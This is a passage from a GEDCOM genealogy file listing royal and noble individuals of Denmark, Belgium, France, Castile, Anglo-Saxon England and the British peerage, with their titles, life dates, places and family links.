FAMC @F630@\n0 @I1644@ INDI\n1 NAME Sophia Frederica of_Mecklenburg-//\n1 SEX F\n1 BIRT\n2 DATE        1758\n1 DEAT\n2 DATE        1794\n1 FAMS @F642@\n0 @I1645@ INDI\n1 NAME Christian_VIII  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 18 SEP 1786\n2 PLAC Christiansborg\n1 DEAT\n2 DATE 20 JAN 1848\n2 PLAC Amalienborg\n1 FAMS @F643@\n1 FAMS @F644@\n1 FAMC @F642@\n0 @I1646@ INDI\n1 NAME Ferdinand  //\n1 SEX M\n1 BIRT\n2 DATE        1792\n1 DEAT\n2 DATE        1863\n1 FAMS @F649@\n1 FAMC @F642@\n0 @I1647@ INDI\n1 NAME Charlotte  //\n1 SEX F\n1 BIRT\n2 DATE  4 DEC 1784\n2 PLAC Ludwigslust\n1 DEAT\n2 DATE 13 JUL 1840\n2 PLAC Rome,Italy\n1 FAMS @F643@\n0 @I1648@ INDI\n1 NAME Caroline  //\n1 SEX F\n1 BIRT\n2 DATE 22 JUN 1796\n2 PLAC Copenhagen\n1 DEAT\n2 DATE  9 MAR 1881\n2 PLAC Amalienborg\n1 FAMS @F644@\n1 FAMC @F648@\n0 @I1649@ INDI\n1 NAME Frederick_VII  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE  6 OCT 1808\n2 PLAC Amalienborg\n1 DEAT\n2 DATE 15 NOV 1863\n2 PLAC Glucksburg\n1 FAMS @F645@\n1 FAMS @F646@\n1 FAMS @F647@\n1 FAMC @F643@\n0 @I1650@ INDI\n1 NAME Wilhelmine  //\n1 SEX F\n1 BIRT\n2 DATE 18 JAN 1808\n2 PLAC Kiel\n1 DEAT\n2 DATE 30 MAY 1891\n2 PLAC Glucksburg\n1 FAMS @F645@\n1 FAMS @F650@\n1 FAMC @F629@\n0 @I1651@ INDI\n1 NAME Caroline  //\n1 SEX F\n1 BIRT\n2 DATE 10 JAN 1821\n2 PLAC Neustrelitz\n1 DEAT\n2 DATE  1 JUN 1876\n2 PLAC Neustrelitz\n1 FAMS @F646@\n0 @I1652@ INDI\n1 NAME Louise  /Rasmussen/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE 21 APR 1815\n2 PLAC Copenhagen\n1 DEAT\n2 DATE  6 MAR 1874\n2 PLAC Cannes\n1 FAMS @F647@\n0 @I1653@ INDI\n1 NAME Louise Augusta //\n1 SEX F\n1 BIRT\n2 DATE        1771\n1 DEAT\n2 DATE        1843\n1 FAMS @F648@\n1 FAMC @F281@\n0 @I1654@ INDI\n1 NAME Frederick Christian of_Schleswig-//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1765\n1 DEAT\n2 DATE        1814\n1 FAMS @F648@\n0 @I1655@ INDI\n1 NAME Marie Louise //\n1 SEX F\n1 BIRT\n2 DATE        1792\n1 DEAT\n2 DATE        1793\n1 FAMC @F629@\n0 @I1656@ INDI\n1 NAME Caroline  //\n1 SEX F\n1 BIRT\n2 DATE        1793\n1 DEAT\n2 DATE        1881\n1 FAMS @F649@\n1 FAMC @F629@\n0 @I1657@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE        1795\n1 DEAT\n2 DATE        1795\n1 FAMC @F629@\n0 @I1658@ INDI\n1 NAME Christian  //\n1 SEX M\n1 BIRT\n2 DATE        1797\n1 DEAT\n2 DATE        1797\n1 FAMC @F629@\n0 @I1659@ INDI\n1 NAME Louise Juliane //\n1 SEX F\n1 BIRT\n2 DATE        1802\n1 DEAT\n2 DATE        1802\n1 FAMC @F629@\n0 @I1660@ INDI\n1 NAME Frederica Maria //\n1 SEX F\n1 BIRT\n2 DATE        1805\n1 DEAT\n2 DATE        1805\n1 FAMC @F629@\n0 @I1661@ INDI\n1 NAME Charles  //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1813\n1 DEAT\n2 DATE        1878\n1 FAMS @F650@\n0 @I1662@ INDI\n1 NAME Maximilian of_Austria //\n1 TITL Archduke\n1 SEX M\n1 BIRT\n2 DATE        1832\n1 DEAT\n2 DATE        1867\n1 FAMS @F686@\n0 @I1663@ INDI\n1 NAME Valdemar  //\n1 SEX M\n1 BIRT\n2 DATE        1858\n1 DEAT\n2 DATE        1939\n1 FAMS @F687@\n1 FAMC @F74@\n0 @I1664@ INDI\n1 NAME Harold  //\n1 SEX M\n1 BIRT\n2 DATE        1876\n1 DEAT\n2 DATE        1949\n1 FAMS @F652@\n1 FAMC @F218@\n0 @I1665@ INDI\n1 NAME Thyra  //\n1 SEX F\n1 BIRT\n2 DATE        1880\n1 DEAT\n2 DATE        1945\n1 FAMC @F218@\n0 @I1666@ INDI\n1 NAME Gustav  //\n1 SEX M\n1 BIRT\n2 DATE        1887\n1 DEAT\n2 DATE        1944\n1 FAMC @F218@\n0 @I1667@ INDI\n1 NAME Dagmar  //\n1 SEX F\n1 BIRT\n2 DATE        1890\n1 DEAT\n2 DATE        1961\n1 FAMS @F651@\n1 FAMC @F218@\n0 @I1668@ INDI\n1 NAME Jorgen  /Castenskiold/\n1 SEX M\n1 BIRT\n2 DATE        1893\n1 FAMS @F651@\n0 @I1669@ INDI\n1 NAME Helene of_Schleswig- Holstein//\n1 SEX F\n1 BIRT\n2 DATE        1888\n1 DEAT\n2 DATE        1962\n1 FAMS @F652@\n0 @I1670@ INDI\n1 NAME Caroline Mathilde //\n1 SEX F\n1 BIRT\n2 DATE        1912\n1 FAMS @F654@\n1 FAMC @F652@\n0 @I1671@ INDI\n1 NAME Knud  //\n1 TITL Her. Prince\n1 SEX M\n1 BIRT\n2 DATE        1900\n1 DEAT\n2 DATE        1976\n1 FAMS @F654@\n1 FAMC @F219@\n0 @I1672@ INDI\n1 NAME Benedikte  //\n1 SEX F\n1 BIRT\n2 DATE        1944\n1 FAMS @F653@\n1 FAMC @F402@\n0 @I1673@ INDI\n1 NAME Richard of_Sayn- Wittgenstein-//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1934\n1 FAMS @F653@\n0 @I1674@ INDI\n1 NAME Elizabeth  //\n1 SEX F\n1 BIRT\n2 DATE        1935\n1 FAMC @F654@\n0 @I1675@ INDI\n1 NAME Ingolf  //\n1 SEX M\n1 BIRT\n2 DATE        1940\n1 FAMS @F1281@\n1 FAMC @F654@\n0 @I1676@ INDI\n1 NAME Christian  //\n1 SEX M\n1 BIRT\n2 DATE        1942\n1 FAMS @F655@\n1 FAMC @F654@\n0 @I1677@ INDI\n1 NAME Anne Dorothy Maltoft-Nielsen//\n1 SEX F\n1 BIRT\n2 DATE        1947\n1 FAMS @F655@\n0 @I1678@ INDI\n1 NAME William  //\n1 SEX M\n1 BIRT\n2 DATE        1840\n1 DEAT\n2 DATE        1879\n1 FAMC @F447@\n0 @I1679@ INDI\n1 NAME Maurice  //\n1 SEX M\n1 BIRT\n2 DATE        1843\n1 DEAT\n2 DATE        1850\n1 FAMC @F447@\n0 @I1680@ INDI\n1 NAME Alexander  //\n1 SEX M\n1 BIRT\n2 DATE        1851\n1 DEAT\n2 DATE        1884\n1 FAMC @F447@\n0 @I1681@ INDI\n1 NAME Charlotte  //\n1 SEX F\n1 BIRT\n2 DATE        1800\n1 DEAT\n2 DATE        1806\n1 FAMC @F202@\n0 @I1682@ INDI\n1 NAME Marianne of_Netherlands //\n1 SEX F\n1 BIRT\n2 DATE        1810\n1 DEAT\n2 DATE        1883\n1 FAMS @F180@\n1 FAMC @F202@\n0 @I1683@ INDI\n1 NAME William  //\n1 SEX M\n1 BIRT\n2 DATE        1836\n1 DEAT\n2 DATE        1846\n1 FAMC @F388@\n0 @I1684@ INDI\n1 NAME Marie  //\n1 SEX F\n1 BIRT\n2 DATE        1841\n1 DEAT\n2 DATE        1910\n1 FAMS @F656@\n1 FAMC @F388@\n0 @I1685@ INDI\n1 NAME William of_Wied //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1845\n1 DEAT\n2 DATE        1907\n1 FAMS @F656@\n0 @I1686@ INDI\n1 NAME Carlos Hugo //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1930\n1 FAMS @F657@\n0 @I1687@ INDI\n1 NAME Peter  /van_Vollenhoven/\n1 SEX M\n1 BIRT\n2 DATE        1939\n1 FAMS @F658@\n0 @I1688@ INDI\n1 NAME Jorge  /Guillermo/\n1 SEX M\n1 BIRT\n2 DATE        1946\n1 FAMS @F659@\n0 @I1689@ INDI\n1 NAME Alexander  //\n1 SEX M\n1 BIRT\n2 DATE        1818\n1 DEAT\n2 DATE        1848\n1 FAMC @F240@\n0 @I1690@ INDI\n1 NAME Henry  //\n1 SEX M\n1 BIRT\n2 DATE        1820\n1 DEAT\n2 DATE        1879\n1 FAMS @F1258@\n1 FAMS @F1259@\n1 FAMC @F240@\n0 @I1691@ INDI\n1 NAME Ernest  //\n1 SEX M\n1 BIRT\n2 DATE        1822\n1 DEAT\n2 DATE        1822\n1 FAMC @F240@\n0 @I1692@ INDI\n1 NAME Sophie  //\n1 SEX F\n1 BIRT\n2 DATE        1824\n1 DEAT\n2 DATE        1897\n1 FAMS @F660@\n1 FAMC @F240@\n0 @I1693@ INDI\n1 NAME Charles Alexander of_Saxe-Weimar//\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1818\n1 DEAT\n2 DATE        1901\n1 FAMS @F660@\n0 @I1694@ INDI\n1 NAME John Frederick of_Brandenburg-//\n1 TITL Margrave\n1 SEX M\n1 FAMS @F661@\n0 @I1695@ INDI\n1 NAME Amalia  //\n1 SEX F\n1 BIRT\n2 DATE 21 DEC 1818\n2 PLAC Oldenburg,Germany\n1 DEAT\n2 DATE 20 MAY 1875\n2 PLAC Bamberg,Germany\n1 BURI\n2 PLAC Theatinerkirche,Munich,Germany\n1 FAMS @F662@\n0 @I1696@ INDI\n1 NAME Leopold_I George of_Saxe-Coburg//\n1 TITL King of Belgium\n1 SEX M\n1 BIRT\n2 DATE 16 DEC 1790\n2 PLAC Coburg,Germany\n1 DEAT\n2 DATE 10 DEC 1865\n2 PLAC Laeken,Belgium\n1 BURI\n2 PLAC Laeken,Belgium\n1 FAMS @F80@\n1 FAMS @F663@\n1 FAMC @F1147@\n0 @I1697@ INDI\n1 NAME Leopold  //\n1 SEX M\n1 BIRT\n2 DATE        1833\n1 DEAT\n2 DATE        1834\n1 FAMC @F663@\n0 @I1698@ INDI\n1 NAME Leopold_II  //\n1 TITL King of Belgium\n1 SEX M\n1 BIRT\n2 DATE  9 APR 1835\n2 PLAC Brussels,Belgium\n1 DEAT\n2 DATE 17 DEC 1909\n2 PLAC Laeken\n1 BURI\n2 PLAC Laeken\n1 FAMS @F1154@\n1 FAMC @F663@\n0 @I1699@ INDI\n1 NAME Marie Charlotte //\n1 SEX F\n1 BIRT\n2 DATE        1840\n1 DEAT\n2 DATE        1927\n1 FAMS @F686@\n1 FAMC @F663@\n0 @I1700@ INDI\n1 NAME Louis Joseph //\n1 TITL Dauphin\n1 SEX M\n1 BIRT\n2 DATE        1781\n1 DEAT\n2 DATE        1789\n1 FAMC @F526@\n0 @I1701@ INDI\n1 NAME Louis_XVII  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 27 MAR 1785\n2 PLAC Versailles,France\n1 DEAT\n2 DATE  8 JUN 1795\n2 PLAC Paris,France\n1 BURI\n2 PLAC St Marguerite,Cemetery,France\n1 FAMC @F526@\n0 @I1702@ INDI\n1 NAME Sophie Beatrix //\n1 SEX F\n1 BIRT\n2 DATE        1786\n1 DEAT\n2 DATE        1787\n1 FAMC @F526@\n0 @I1703@ INDI\n1 NAME Marie Therese of_Angouleme//\n1 TITL Duchess\n1 SEX F\n1 BIRT\n2 DATE        1778\n1 DEAT\n2 DATE        1851\n1 FAMC @F526@\n0 @I1704@ INDI\n1 NAME Pepin the_Hunchback //\n1 SEX M\n1 DEAT\n2 DATE         811\n1 FAMC @F182@\n0 @I1705@ INDI\n1 NAME Marie Amelie of_Bourbon//\n1 TITL Queen of France\n1 SEX F\n1 BIRT\n2 DATE        1782\n1 DEAT\n2 DATE 24 MAR 1866\n2 PLAC Claremont\n1 FAMS @F1187@\n0 @I1706@ INDI\n1 NAME Alexander of_Mar /Ramsay/\n1 TITL Capt.\n1 SEX M\n1 BIRT\n2 DATE        1919\n1 FAMS @F665@\n1 FAMC @F37@\n0 @I1707@ INDI\n1 NAME Flora Fraser //\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1930\n1 FAMS @F665@\n0 @I1708@ INDI\n1 NAME Dorothy  /Hastings/\n1 SEX F\n1 BIRT\n2 DATE        1899\n1 FAMS @F666@\n0 @I1709@ INDI\n1 NAME   //\n1 TITL Duke of Beaufort\n1 SEX M\n1 BIRT\n2 DATE        1900\n1 FAMS @F667@\n0 @I1710@ INDI\n1 NAME J. E. /Gibbs/\n1 TITL Col.\n1 SEX M\n1 BIRT\n2 DATE        1879\n1 DEAT\n2 DATE        1932\n1 FAMS @F668@\n0 @I1711@ INDI\n1 NAME Henry Abel /Smith/\n1 TITL Col. Sir\n1 SEX M\n1 BIRT\n2 DATE        1900\n1 FAMS @F669@\n0 @I1712@ INDI\n1 NAME John  /Spencer/\n1 SEX M\n1 BIRT\n2 DATE        1960\n1 DEAT\n2 DATE        1960\n1 FAMC @F78@\n0 @I1713@ INDI\n1 NAME Katharine  /Seymour/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1900\n1 FAMC @F127@\n0 @I1714@ INDI\n1 NAME James  //\n1 TITL Duke of Abercorn\n1 SEX M\n1 BIRT\n2 DATE        1904\n1 DEAT\n2 DATE        1979\n1 FAMS @F670@\n1 FAMC @F127@\n0 @I1715@ INDI\n1 NAME Kathleen  /Crichton/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1905\n1 FAMS @F670@\n0 @I1716@ INDI\n1 NAME Charles Lennox of_Richmond//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1764\n1 DEAT\n2 DATE        1819\n1 FAMS @F671@\n1 FAMC @F672@\n0 @I1717@ INDI\n1 NAME George Henry Lennox//\n1 TITL Lord\n1 SEX M\n1 DEAT\n2 DATE        1805\n1 FAMS @F672@\n1 FAMC @F673@\n0 @I1718@ INDI\n1 NAME Louisa  /Kerr/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1830\n1 FAMS @F672@\n1 FAMC @F678@\n0 @I1719@ INDI\n1 NAME Charles Lennox of_Richmond//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1701\n1 DEAT\n2 DATE        1750\n1 FAMS @F673@\n1 FAMC @F674@\n0 @I1720@ INDI\n1 NAME Charles Lennox of_Richmond//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1672\n1 DEAT\n2 DATE        1723\n1 FAMS @F674@\n0 @I1721@ INDI\n1 NAME Anne of_Albemarle //\n1 TITL Countess\n1 SEX F\n1 DEAT\n2 DATE        1789\n1 FAMS @F677@\n1 FAMC @F674@\n0 @I1722@ INDI\n1 NAME John  /Russell/\n1 TITL Duke of Bedford\n1 SEX M\n1 BIRT\n2 DATE        1766\n1 DEAT\n2 DATE        1839\n1 FAMS @F675@\n1 FAMC @F676@\n0 @I1723@ INDI\n1 NAME Elizabeth of_Tavistock //\n1 TITL Marchioness\n1 SEX F\n1 DEAT\n2 DATE        1768\n1 FAMS @F676@\n1 FAMC @F677@\n0 @I1724@ INDI\n1 NAME Caroline of_Lothian //\n1 TITL Marchioness\n1 SEX F\n1 DEAT\n2 DATE        1778\n1 FAMS @F678@\n1 FAMC @F679@\n0 @I1725@ INDI\n1 NAME Frederica of_Holdernesse //\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1688\n1 DEAT\n2 DATE        1751\n1 FAMS @F679@\n1 FAMC @F680@\n0 @I1726@ INDI\n1 NAME of_Schomberg  //\n1 TITL Duke\n1 SEX M\n1 FAMS @F680@\n0 @I1727@ INDI\n1 NAME Charlot  //\n1 SEX F\n1 BIRT\n2 DATE        1659\n1 DEAT\n2 DATE        1696\n1 FAMS @F680@\n0 @I1728@ INDI\n1 NAME Richard  /Bingham/\n1 TITL Earl of Lucan\n1 SEX M\n1 BIRT\n2 DATE        1764\n1 DEAT\n2 DATE        1839\n1 FAMS @F681@\n1 FAMC @F682@\n0 @I1729@ INDI\n1 NAME Charles  /Bingham/\n1 TITL Earl of Lucan\n1 SEX M\n1 BIRT\n2 DATE        1735\n1 DEAT\n2 DATE        1799\n1 FAMS @F682@\n0 @I1730@ INDI\n1 NAME Elizabeth  /Poyntz/\n1 SEX F\n1 DEAT\n2 DATE        1851\n1 FAMS @F683@\n0 @I1731@ INDI\n1 NAME   /Spencer/\n1 TITL Earl of Spencer\n1 SEX M\n1 BIRT\n2 DATE        1835\n1 DEAT\n2 DATE        1910\n1 FAMS @F684@\n1 FAMC @F683@\n0 @I1732@ INDI\n1 NAME Charlotte  /Seymour/\n1 SEX F\n1 DEAT\n2 DATE        1903\n1 FAMS @F684@\n0 @I1733@ INDI\n1 NAME Delia Peel //\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1889\n1 DEAT\n2 DATE        1981\n1 FAMC @F133@\n0 @I1734@ INDI\n1 NAME Lavinia Annaly //\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1899\n1 DEAT\n2 DATE        1955\n1 FAMC @F133@\n0 @I1735@ INDI\n1 NAME John of_Althorp /Spencer/\n1 TITL Hon.\n1 SEX M\n1 BIRT\n2 DATE        1708\n1 DEAT\n2 DATE        1746\n1 FAMS @F685@\n0 @I1736@ INDI\n1 NAME William_IX of_Hesse-Cassel //\n1 TITL Elector\n1 SEX M\n1 FAMC @F622@\n0 @I1737@ INDI\n1 NAME Ernest_II of_Saxe-Coburg- Saalfeld//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1818\n1 DEAT\n2 DATE        1893\n1 FAMS @F1369@\n1 FAMC @F43@\n0 @I1738@ INDI\n1 NAME Marie  //\n1 SEX F\n1 FAMS @F687@\n0 @I1739@ INDI\n1 NAME Philip_III the_Bold //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE  1 MAY 1245\n2 PLAC Poissy,,,France\n1 DEAT\n2 DATE  5 OCT 1285\n2 PLAC Perpignan\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1231@\n1 FAMS @F688@\n1 FAMC @F689@\n0 @I1740@ INDI\n1 NAME Louis_IX (St._Louis) //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 25 APR 1214\n1 DEAT\n2 DATE 25 AUG 1270\n2 PLAC Tunis,,,Africa\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F689@\n1 FAMC @F690@\n0 @I1741@ INDI\n1 NAME Louis_VIII the_Lion //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE  5 SEP 1187\n2 PLAC Paris,France\n1 DEAT\n2 DATE  8 NOV 1226\n2 PLAC Auvergne,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F690@\n1 FAMC @F1156@\n0 @I1742@ INDI\n1 NAME Blanche of_Castile //\n1 SEX F\n1 BIRT\n2 DATE        1188\n1 DEAT\n2 DATE        1252\n1 FAMS @F690@\n1 FAMC @F691@\n0 @I1743@ INDI\n1 NAME Charles_IV the_Fair //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE ABT    1294\n1 DEAT\n2 DATE  1 FEB 1328\n2 PLAC Vincennes,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1176@\n1 FAMS @F1177@\n1 FAMS @F1178@\n1 FAMC @F794@\n0 @I1744@ INDI\n1 NAME Edward  //\n1 SEX M\n1 FAMS @F692@\n1 FAMC @F562@\n0 @I1745@ INDI\n1 NAME Beatrice  //\n1 SEX F\n1 FAMS @F692@\n0 @I1746@ INDI\n1 NAME Ferdinand_III  //\n1 TITL King of Castile\n1 SEX M\n1 BIRT\n2 DATE        1199\n1 DEAT\n2 DATE        1252\n1 FAMS @F693@\n1 FAMC @F784@\n0 @I1747@ INDI\n1 NAME Berengaria  //\n1 SEX F\n1 BIRT\n2 DATE        1171\n1 DEAT\n2 DATE        1246\n1 FAMS @F784@\n1 FAMC @F571@\n0 @I1748@ INDI\n1 NAME Sancho_III  //\n1 TITL King of Castile\n1 SEX M\n1 BIRT\n2 DATE ABT    1134\n1 DEAT\n2 DATE ABT    1158\n1 FAMS @F695@\n0 @I1749@ INDI\n1 NAME Alfonso_X the_Wise //\n1 TITL King of Castile\n1 SEX M\n1 BIRT\n2 DATE ABT    1226\n1 DEAT\n2 DATE        1284\n2 PLAC Seville,,,Spain\n1 FAMS @F696@\n1 FAMC @F693@\n0 @I1750@ INDI\n1 NAME   /Unknown/\n1 SEX F\n1 FAMS @F696@\n0 @I1751@ INDI\n1 NAME Sancho_IV  //\n1 SEX M\n1 BIRT\n2 DATE        1258\n1 DEAT\n2 DATE        1296\n1 FAMC @F696@\n0 @I1752@ INDI\n1 NAME Gunnor  //\n1 SEX M\n1 FAMS @F698@\n0 @I1753@ INDI\n1 NAME Athelstan  //\n1 FAMC @F580@\n0 @I1754@ INDI\n1 NAME Egbert  //\n1 SEX M\n1 DEAT\n2 DATE        1005\n1 FAMC @F580@\n0 @I1755@ INDI\n1 NAME Edred  //\n1 FAMC @F580@\n0 @I1756@ INDI\n1 NAME Edwy  //\n1 DEAT\n2 DATE        1017\n1 FAMC @F580@\n0 @I1757@ INDI\n1 NAME Edward  //\n1 SEX M\n1 FAMC @F580@\n0 @I1758@ INDI\n1 NAME Edgar  //\n1 SEX M\n1 FAMC @F580@\n0 @I1759@ INDI\n1 NAME Edith  //\n1 SEX F\n1 FAMS @F701@\n1 FAMC @F580@\n0 @I1760@ INDI\n1 NAME Elgiva  //\n1 SEX F\n1 FAMS @F702@\n1 FAMC @F580@\n0 @I1761@ INDI\n1 NAME Wulfhilda  //\n1 SEX F\n1 FAMS @F704@\n1 FAMC @F580@\n0 @I1762@ INDI\n1 NAME (Daughter)  //\n1 SEX F\n1 FAMS @F705@\n1 FAMC @F580@\n0 @I1763@ INDI\n1 NAME Stephen_I  //\n1 TITL King of Hungary\n1 SEX M\n1 BIRT\n2 DATE ABT     975\n1 DEAT\n2 DATE        1038\n1 FAMS @F699@\n0 @I1764@ INDI\n1 NAME Edmund  //\n1 SEX M\n1 FAMS @F700@\n1 FAMC @F581@\n0 @I1765@ INDI\n1 NAME Hedwig  //\n1 SEX F\n1 FAMS @F700@\n1 FAMC @F699@\n0 @I1766@ INDI\n1 NAME Christina  //\n1 SEX F\n1 FAMC @F582@\n0 @I1767@ INDI\n1 NAME Alfred Athling //\n1 SEX M\n1 DEAT\n2 DATE        1036\n1 FAMC @F575@\n0 @I1768@ INDI\n1 NAME Gunhilda  //\n1 SEX F\n1 DEAT\n2 DATE        1038\n1 FAMS @F846@\n1 FAMC @F584@\n0 @I1769@ INDI\n1 NAME Edric of_Mercia /Streona/\n1 TITL Ealdorman\n1 SEX M\n1 FAMS @F701@\n0 @I1770@ INDI\n1 NAME Uchtred  //\n1 SEX M\n1 FAMS @F702@\n1 FAMC @F703@\n0 @I1771@ INDI\n1 NAME Waltheof of Northumberland//\n1 TITL Earl\n1 SEX M\n1 FAMS @F703@\n0 @I1772@ INDI\n1 NAME Ulfcytel of_East_Anglia /Snylling/\n1 TITL Ealdorman\n1 SEX M\n1 FAMS @F704@\n0 @I1773@ INDI\n1 NAME Athelstan  //\n1 SEX M\n1 FAMS @F705@\n0 @I1774@ INDI\n1 NAME Alfgar of_Mercia //\n1 TITL Earl\n1 SEX M\n1 FAMS @F706@\n0 @I1775@ INDI\n1 NAME Alfhelm of_Northhampton //\n1 TITL Earl\n1 SEX M\n1 FAMS @F707@\n0 @I1776@ INDI\n1 NAME Sweyn Forkbeard //\n1 TITL King of Denmark\n1 SEX M\n1 DEAT\n2 DATE        1014\n1 FAMS @F708@\n0 @I1777@ INDI\n1 NAME Gunhilda  //\n1 SEX F\n1 FAMS @F708@\n1 FAMC @F709@\n0 @I1778@ INDI\n1 NAME Mieczislaw_I of_Poland //\n1 TITL Duke\n1 SEX M\n1 FAMS @F709@\n0 @I1779@ INDI\n1 NAME Edgar the_Peaceful //\n1 SEX M\n1 BIRT\n2 DATE         944\n1 DEAT\n2 DATE         975\n1 BURI\n2 PLAC Glastonbury\n1 FAMS @F710@\n1 FAMS @F711@\n1 FAMC @F714@\n0 @I1780@ INDI\n1 NAME Elfrida  //\n1 SEX F\n1 DEAT\n2 DATE        1000\n1 FAMS @F710@\n1 FAMC @F713@\n0 @I1781@ INDI\n1 NAME Ethelfleda  //\n1 SEX F\n1 FAMS @F711@\n1 FAMC @F712@\n0 @I1782@ INDI\n1 NAME Edward the_Martyr //\n1 SEX M\n1 FAMC @F711@\n0 @I1783@ INDI\n1 NAME Ordmaer  //\n1 TITL Ealdorman\n1 SEX M\n1 FAMS @F712@\n0 @I1784@ INDI\n1 NAME Edmund  //\n1 SEX M\n1 DEAT\n2 DATE         970\n1 FAMC @F710@\n0 @I1785@ INDI\n1 NAME Ordgar of_Devon Ealdorman//\n1 SEX M\n1 FAMS @F713@\n0 @I1786@ INDI\n1 NAME Edmund_I the_Elder //\n1 SEX M\n1 BIRT\n2 DATE         939\n1 DEAT\n2 DATE         946\n1 BURI\n2 PLAC Glastonbury\n1 FAMS @F714@\n1 FAMS @F716@\n1 FAMC @F718@\n0 @I1787@ INDI\n1 NAME St._Elgiva  //\n1 SEX F\n1 FAMS @F714@\n0 @I1788@ INDI\n1 NAME Edwy  //\n1 SEX M\n1 FAMS @F715@\n1 FAMC @F714@\n0 @I1789@ INDI\n1 NAME Elgiva  //\n1 SEX F\n1 FAMS @F715@\n0 @I1790@ INDI\n1 NAME Ethelfleda of_Domerham //\n1 SEX F\n1 FAMS @F716@\n1 FAMC @F717@\n0 @I1791@ INDI\n1 NAME Alfgar of_Wiltshire //\n1 TITL Ealdorman\n1 SEX M\n1 FAMS @F717@\n0 @I1792@ INDI\n1 NAME Edward the_Elder //\n1 SEX M\n1 DEAT\n2 DATE         924\n1 BURI\n2 PLAC Winchester\n1 FAMS @F720@\n1 FAMS @F722@\n1 FAMS @F718@\n1 FAMC @F834@\n0 @I1793@ INDI\n1 NAME Edgiva  //\n1 SEX F\n1 FAMS @F718@\n0 @I1794@ INDI\n1 NAME Edred  //\n1 SEX M\n1 FAMC @F718@\n0 @I1795@ INDI\n1 NAME Edburh  //\n1 SEX F\n1 FAMC @F718@\n0 @I1796@ INDI\n1 NAME Edgiva  //\n1 SEX F\n1 FAMS @F719@\n1 FAMC @F718@\n0 @I1797@ INDI\n1 NAME Louis  //\n1 TITL King of Provence\n1 SEX M\n1 FAMS @F719@\n0 @I1798@ INDI\n1 NAME Ecgwyn  //\n1 SEX F\n1 FAMS @F720@\n0 @I1799@ INDI\n1 NAME Athelstan  //\n1 SEX M\n1 BIRT\n2 DATE         895\n1 DEAT\n2 DATE         940\n1 BURI\n2 PLAC Malmesbury\n1 FAMC @F720@\n0 @I1800@ INDI\n1 NAME Daughter  //\n1 SEX F\n1 FAMS @F721@\n1 FAMC @F720@\n0 @I1801@ INDI\n1 NAME Sihtric of Northumberland//\n1 TITL King of Denmark\n1 SEX M\n1 FAMS @F721@\n0 @I1802@ INDI\n1 NAME Elfleda  //\n1 SEX F\n1 FAMS @F722@\n0 @I1803@ INDI\n1 NAME Ethelwerd  //\n1 DEAT\n2 DATE         924\n1 FAMC @F722@\n0 @I1804@ INDI\n1 NAME Edwin  //\n1 SEX M\n1 FAMC @F722@\n0 @I1805@ INDI\n1 NAME Elfleda  //\n1 SEX F\n1 FAMC @F722@\n0 @I1806@ INDI\n1 NAME Edgiva  //\n1 SEX F\n1 FAMS @F723@\n1 FAMC @F722@\n0 @I1807@ INDI\n1 NAME Ethelhilda  //\n1 SEX F\n1 FAMC @F722@\n0 @I1808@ INDI\n1 NAME Edhilda  //\n1 SEX F\n1 FAMS @F724@\n1 FAMC @F722@\n0 @I1809@ INDI\n1 NAME Eadgyth (Edith) //\n1 SEX F\n1 FAMS @F725@\n1 FAMC @F722@\n0 @I1810@ INDI\n1 NAME Elgiva  //\n1 SEX F\n1 FAMS @F726@\n1 FAMC @F722@\n0 @I1811@ INDI\n1 NAME Charles the_Simple //\n1 TITL King of France\n1 SEX M\n1 FAMS @F723@\n0 @I1812@ INDI\n1 NAME Hugh the_Great //\n1 TITL Count of Paris\n1 SEX M\n1 FAMS @F724@\n0 @I1813@ INDI\n1 NAME Otho_I the_Great //\n1 TITL King of Germany\n1 SEX M\n1 FAMS @F725@\n0 @I1814@ INDI\n1 NAME Boleslaw_II  //\n1 TITL Duke of Bohemia\n1 SEX M\n1 FAMS @F726@\n0 @I1815@ INDI\n1 NAME Claude  //\n1 TITL Duke of Guise\n1 SEX M\n1 FAMS @F727@\n0 @I1816@ INDI\n1 NAME Francis_I  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 12 SEP 1494\n2 PLAC Cognac,France\n1 DEAT\n2 DATE 31 MAR 1547\n2 PLAC Rambouillet,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F728@\n1 FAMS @F1359@\n1 FAMC @F729@\n0 @I1817@ INDI\n1 NAME Louise of_Savoy //\n1 SEX F\n1 BIRT\n2 DATE        1476\n1 DEAT\n2 DATE        1531\n1 FAMS @F729@\n0 @I1818@ INDI\n1 NAME Donald  //\n1 TITL Earl of Mar\n1 SEX M\n1 FAMS @F730@\n0 @I1819@ INDI\n1 NAME Adam of_Rowallan /Mure/\n1 TITL Sir\n1 SEX M\n1 FAMS @F731@\n0 @I1820@ 